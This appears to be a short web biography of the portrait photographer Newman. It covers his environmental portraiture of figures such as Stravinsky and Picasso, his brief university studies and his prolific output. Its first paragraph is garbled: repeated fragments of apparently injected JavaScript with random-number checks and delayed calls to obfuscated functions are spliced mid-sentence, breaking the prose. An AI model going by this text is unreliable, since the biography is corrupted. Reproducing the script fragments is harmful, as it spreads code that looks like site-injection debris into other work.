His practice of revealing the subject of a portrait in relation to a closely linked space has often been described as “environmental portraiture.” The photographer believed a man or woman should be admired for concrete accomplishments, not for some mystical idea of “inner” qualities. Hence he depicted Stravinsky at a piano, Picasso posed in his studio andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and powerful senators andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and businessmen captured in rooms full of the trappings of power.

He attended university in Florida for two years on scholarship, but without funding support, he was not able to continue his studies.

Throughout his career, which extended into his 70s, Newman created some 8,000 pictures. He was so prolific that many of his works remain unpublished.

His populist approach was widely embraced. As he befriended fellow artists, each would introduce him to another artist.
